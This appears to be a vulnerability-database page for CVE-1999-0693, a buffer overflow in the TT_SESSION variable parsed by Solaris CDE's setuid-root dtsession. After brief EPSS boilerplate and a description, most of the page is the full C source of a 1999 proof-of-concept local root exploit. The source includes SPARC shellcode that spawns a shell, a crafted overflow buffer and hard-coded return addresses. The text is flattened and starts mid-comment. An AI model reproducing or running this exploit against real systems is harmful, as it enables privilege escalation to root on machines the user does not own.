CVE-1999-0693 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The code which handles this variable does not place a restriction on its size. At least one of the CDE programs which rely on this variable do not have sufficient bounds checking in place for this variable. This can result in a buffer overflow. The program in question is dtsession. Due to the fact that dtsession is running setuid root and does not remove the root privilege (at least as tested on Solaris), the overflow can lead to local root compromise. */ /* * ovsession.c * Job de Haas * (C) ITSX BV 1999 * * Some proof of concept code (== really ugly, barely working) at exploiting * an overflow in libtt.so when parsing the TT_SESSION string. * Only tested on a Solaris 2.6 sun4c sparc, with and without patch 105802-07 * based loosly on code by horizon <jmcdonal@unf.edu> * Somehow the overflow is very sensitive to caching of the stack. To see that * it really does work, run it in a debugger and set a break point in tt_open() * when that is reached, set a breakpoint in sscanf and continue. When that is * reached continue again and it will either crash or execute a shell. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/systeminfo.h> #include <unistd.h> #include <string.h> #define BUF_LEN 280 char exploit[] = "\220\33\100\15\202\20\40\27\221\323\100\15\220\33\100\17\ \220\2\40\10\320\43\277\370\224\2\40\11\332\52\277\377\ \332\43\277\374\220\33\140\1\202\20\40\6\221\323\100\15\ \220\33\100\15\202\20\40\51\221\323\100\15\320\3\277\370\ \222\43\240\10\224\43\240\4\202\20\40\73\221\323\100\15\ \232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\ \232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\ \177\377\377\344\232\33\100\15\57\142\151\156\57\153\163\150QQQ"; #if patched #define got 0xef6d2be0 #else #define got 0xef6d2f84 #endif main() { char *argp[6], *envp[20]; char buf[3072]; char *ttsess; char *display; u_long *longp; char data[512]; char padding[64]; char platform[256]; int pad=31; int i; memset(buf,0,3072); memset(buf,'a',BUF_LEN); longp = (unsigned long *)(buf+BUF_LEN); /* %l0 - %l7 */ *longp++ = 0xdeadcafe; *longp++ = 0xdeadcafe; *longp++ = 0xdeadcafe; *longp++ = 0xdeadcafe; *longp++ = 0xdeadcafe; *longp++ = 0xdeadcafe; *longp++ = 0xdeadcafe; *longp++ = 0xdeadcafe; /* %i0 - %i7 */ *longp++ = 0xdeadcafe; *longp++ = 0xefffff94; /* make sure %i1 can be used */ *longp++ = 0xdeadcafe; *longp++ = got; /* also used before we get to the exploit */ *longp++ = 0xdeadcafe; *longp++ = 0xdeadcafe; *longp++ = 0xefffffb0; /* frame with some necessary values */ *longp++ = 0xeffffdd0; /* return into the exploit code */ longp=(unsigned long *)data; *longp++=0xdeadbeef; *longp++=0xdeadbeef; *longp++=0xdeadbeef; *longp++=0xdeadbeef; *longp++=0xdeadbeef; *longp++=0xffffffff; *longp++=0xdeadbeef; *longp++=0; *longp++=0xefffffb4; *longp++=0x01; *longp++=0xef6dc154; *longp++=0xeffffd26; *longp++=0x00; argp[0] = strdup("/usr/dt/bin/dtsession"); argp[1] = NULL; if (!getenv("DISPLAY")) { printf("forgot to set DISPLAY\n"); exit(1); } sysinfo(SI_PLATFORM,platform,256); pad+=20-strlen(platform)-strlen(argp[0]); for (i=0;i<pad;padding[i++]='C') padding[i]=0; /* create an enviroment size independent of the size of $DISPLAY */ display = malloc( 8 + strlen(getenv("DISPLAY")) + 1); strcpy(display,"DISPLAY="); strcat(display+8,getenv("DISPLAY")); envp[0] = display; envp[1] = malloc(60); memset(envp[1], 0, 60); memset(envp[1], 'a', 60 - strlen(envp[0])); strncpy(envp[1],"W=",2); /* put the exploit code in the env space (easy to locate) */ envp[2] = strdup(exploit); /* create the overflow string */ ttsess = strdup("TT_SESSION=01 18176 1289637086 1 0 1000 %s 4"); envp[3] = malloc( strlen(ttsess) + strlen(buf)); sprintf(envp[3],ttsess,buf); /* make it easier to debug, probably smarter ways to do this */ envp[4] = strdup("LD_BIND_NOW=1 "); /* put some data in the environment to keep the code running after the overflow, but before the return pointer is used. includes NULL ptrs */ envp[5]=(data); envp[6]=""; envp[7]=""; envp[8]=""; envp[9]=&(data[32]); envp[10]=""; envp[11]=""; envp[12]=&(data[39]); envp[13]=""; envp[14]=""; envp[15]="\010"; envp[16]=padding; envp[17]=NULL; execve("/usr/dt/bin/dtsession",argp,envp); }
